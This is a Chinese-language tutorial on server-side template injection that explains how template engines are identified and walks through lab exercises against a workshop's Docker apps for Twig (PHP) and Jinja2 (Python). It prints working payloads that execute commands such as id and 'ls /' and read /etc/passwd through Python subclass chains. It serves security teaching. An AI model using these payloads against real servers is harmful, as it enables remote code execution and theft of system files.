详解模板注入漏洞(上)

 

1.简介

所谓模板注入,又称服务器端模板注入(SSTI),是2015年出现的一类安全漏洞。James Kettle在2015年黑帽大会上进行的演讲,为多个模板引擎的漏洞利用技术奠定了坚实的基础。要想利用这类安全漏洞,需要对相关的模板库或相关的语言有一定程度的了解。

首先,本文将对模板注入漏洞进行相应的介绍,帮读者深入了解各种攻击模式,以更好地识别潜在的漏洞。然后,我们将考察5种不同的模板引擎,并且这些模版各有特色。其中,对于每个模板引擎,我们都会提供一个练习,其中含有已“暴露”模板引擎的Web应用程序。

所需软件

在软件方面,唯一的要求是安装相应的HTTP拦截代理。

  1. Burp Suite
  2. OWASP ZAP

如果你只安装了Web浏览器的话,将无法完成本文描述的实验。但是,这并不妨碍您继续阅读下面的内容。

运行应用程序

为了完成这个练习,您需要自己运行实验中的应用程序。并且,为了便于部署,所有应用程序都可以提供docker容器获取。

  1. 下载代码。
$ git clone https://github.com/GoSecure/template-injection-workshop
  1. 阅读构建说明(详见%application_dir%/README.md),注意,对于不同的应用程序,这一步回有所不同。
  2. 使用docker-compose启动应用程序。
$ docker-compose up

配置DNS(可选)

为了使相关的链接可以正常使用,您可以在本地主机文件(/etc/hosts或C:\Windows/system32\drivers\etc\hosts)中添加如下所示的一行内容:

127.0.0.1template-injection.gosec.co

相关视频

您可以通过视频观看完整的研讨会。通过视频,您可以聆听所有的讲解,并观看所有练习的演示过程。为此,您可以在新窗口中打开相应的YouTube页面,来查看各章节的内容。

 

2. 模板注入

借助于模板引擎,开发人员就可以在应用程序中使用静态模板文件了。在运行时,模板引擎会用实际值替换模板文件中的相关变量,并将模板转化为HTML文件发送给客户端。这种方法使设计HTML页面变得更加轻松。

虽然模板是静态部署的,但高度可配置服务(SaaS)的出现使得一些模板库可以直接“暴露”在互联网上。这些看似非常有限的模版库其实比许多开发者想象的要强大得多。

数据绑定示例

在模板中,开发人员需要为动态值定义静态内容和占位符。在运行时,模板将交由引擎处理,以映射模板中的动态值引用。

Hello {{firstName}} {{lastName}}!

简单模板示例

模板是通常以脚本的形式提供,它的作用不仅仅是简单的数据绑定。因为数据结构可能很复杂(比如列表和嵌套对象),所以,模板通常会提供一些类似于编程的功能。例如,模板引擎可能会允许访问对象的相关字段,具体如下所示:

Hello {{user.firstName}} {{user.lastName}}!

嵌套属性示例

像上面这样的嵌套属性并不会直接交由语言进行处理,相反,而是由引擎来解析占位符内的动态值user.firstName。引擎将直接调用方法或字段firstname。这种语法通常简单紧凑,以便于使用。同时,由于这些语法通常非常强大,以至于可以脱离简单数据绑定的上下文。

突破常规思维

为了滥用模板引擎,攻击者需要充分利用模板引擎所提供的各种功能。

如果引擎允许访问字段,就可以访问我们感兴趣的内部数据结构。进一步,这些内部数据结构可能具有我们想覆盖的状态。因此,它们可能会暴露出强大的类型。

如果引擎允许函数调用,那么,我们的目标就是读取文件、执行命令或访问应用程序的内部状态的函数。

实际上,后面的六个练习就是演示如何通过各种技术来达到上述目的的。

3. 识别模板引擎

目前,已经存在大量的模板库。实际上,我们可以在每种编程语言中找到几十个库。在实践中,如果我们把自己限制在最流行的库中,当我们知道使用的语言时,我们可以将注意力集中在2到3个潜在的库上面。

C#(StringTemplate,Sharepoint上动态使用的ASPX)。

Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)

PHP(Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Python、Jinja2、Tornado、mustache和String Template)。

Go (text/template)

启发式方法

与其盲目地测试每一个已知的payload,不如以某种程度的置信度来确认所使用的技术。另外,最终的payload可能需要进行一些调整,以符合特定的运行时环境的要求。

下面是James Kettles提出的决策树,可以用来识别所使用的模板。这个决策树是由简单的评估组成的,其中的表达式无法适用于每一种技术。由于这些都是非常基本的表达式,所以当一个模版库的新版本发布时,这些表达式也不会很快变得过时。当然,相关的方法名和高级语法可能会随着时间的推移而发生变化。

图1 决策树

 

4. LAB 1:Twig (PHP)

简介

Twig可能是PHP最流行的模板库,它是由Synfony(一个非常流行的PHP框架)的创建者开发的。在我们的练习中,我们还将用到Craft CMS,它是一个内部使用Twig的内容管理系统。

模板语法基础知识

Twig语法不仅简单,而且非常紧凑。下面是几个基本的变量绑定的例子。

Hello {{ var }}

Hello {{ var|escape }}

变量绑定示例

参考资料:Twig官方文档

攻击面

对于Twig来说,其变量_self暴露了Twig内部的许多API。下面是一个恶意的payload,可以用来攻击registerUndefinedFilterCallback函数。在下面的有效载荷中,命令id被执行后,将返回当前用户的id(Linux)。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

命令执行示例

练习

为了完成本练习,请连接到相应的Web服务器:http://template-injection.gosec.co:8012/。

它将提供一个非常简单的表单,其中只有一个字段。

在这个表单中,您可以提交一个简单的表达式来确认模板是否用于显示值。下面的表达式将进行减法运算。

{{1338-1}}

上面减法运算的结果,应该显示为1337

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

执行id命令

id命令的结果应该是:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

您能访问服务器上的flag.txt文件吗?

 

5. LAB 2:Jinja2(Python)

简介

Jinja是Python中一个流行的模板引擎,它与Django模板非常相似。不过,与Django模板相比,Jinsa可以轻松地在运行时动态使用。Django模板被设计为存储在静态文件中的动态视图。

模板语法基础知识

下面是几个简单的表达式,用于演示Jinja的基本语法。

//String

{{ message }}

//Accessing an attribute

{{ foo.bar }}

//Accessing an attribute (alternative)

{{ foo['bar'] }}

基本的变量绑定

参考文献:Jinja官方文档

攻击面

实际上,Python元数据属性可以从任何Python对象中读取。此外,方法调用也不会被过滤。不过,获取诸如命令执行等强大的操作权限可并不简单。

Jinja漏洞利用的基础知识

我们可以通过元属性__class__来访问类。

{{''.__class__}}

<type 'str'>

从任何类中,我们都可以获得Method Resolution Order(MRO)对象。MRO对象包含当前类型的类层次结构。

{{''.__class__.__mro__}}

<type 'str'>, <type 'basestring'>, <type 'object'>

通过之前找到的类型对象,我们可以列出其所有子类。实际上,这相当于枚举了当前上下文中加载的所有类。不过,到底有哪些可用的类,这完全取决于应用程序的导入操作。在Jinja2中,导入操作是不容易触发的。

{{''.__class__.__mro__[2].__subclasses__()}}

<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'> [...]

我们可以从上面的列表中挑选任何类型,并调用这些类型的方法。对象子类列表中索引40对应的元素是({{”.__class__.__mro__[2].__subclasses__()[40])。我们可以使用该类型来读取任意文件。

{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}

//The previous extension is analog to

file("/etc/passwd","r").read()

上面的payload仅适用于Python 2.7。

参考资料:

Exploring SSTI in Flask/Jinja2 – Part 2

Cheatsheet – Flask & Jinja2 SSTI

使用subprocess.Popen

在这里,我们需要努力寻找的一个强大类型是subprocess.Popen。

在Python 3.8中,它的索引可能是245。当然,这个索引值会根据加载的模块的不同而有所变化。

{{[].__class__.__mro__[1].__subclasses__()[396]}}

<class 'subprocess.Popen'>

在Python 2.7中,它的索引可能是245。

{{[].__class__.__mro__[1].__subclasses__()[245]}}

<class 'subprocess.Popen'>

执行指令:

{{[].__class__.__mro__[1].__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

Os模块(Python 2.7)

除了上面介绍的类型之外,还有一种类型也有可能被攻击者所利用。它缓存了所有可用的python模块,其中,我们可以找到os模块。

WARNINGS_INSTANCE.__init__.func_globals['linecache'].__dict__.values()[12]

<module 'os' from '/usr/lib/python2.7/os.pyc'>

来源:https://hexplo.it/escaping-the-csawctf-python-sandbox/

将这个有趣的模式应用于Jinja模板,我们就能得到如下所示的payload。

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd')}}

这里有一个two-step的payload:先执行一个命令并将命令输出临时存储在temp文件夹中,然后,再使用另一个Jinja表达式来读取命令输出。

{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd') }}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read() }}

这些payload仅适用于Python 2.7。

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

首先,您必须检测在模板中放置了哪个HTTP参数。为此,您可以借助于简单的算术表达式。

使用以上方法可以充分利用这个漏洞。

您可以访问服务器上的flag.txt文件了吗?

 

小结

在本文中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在接下来的文章中,我们将继续为读者介绍其他四种模版相关的注入漏洞。

(完)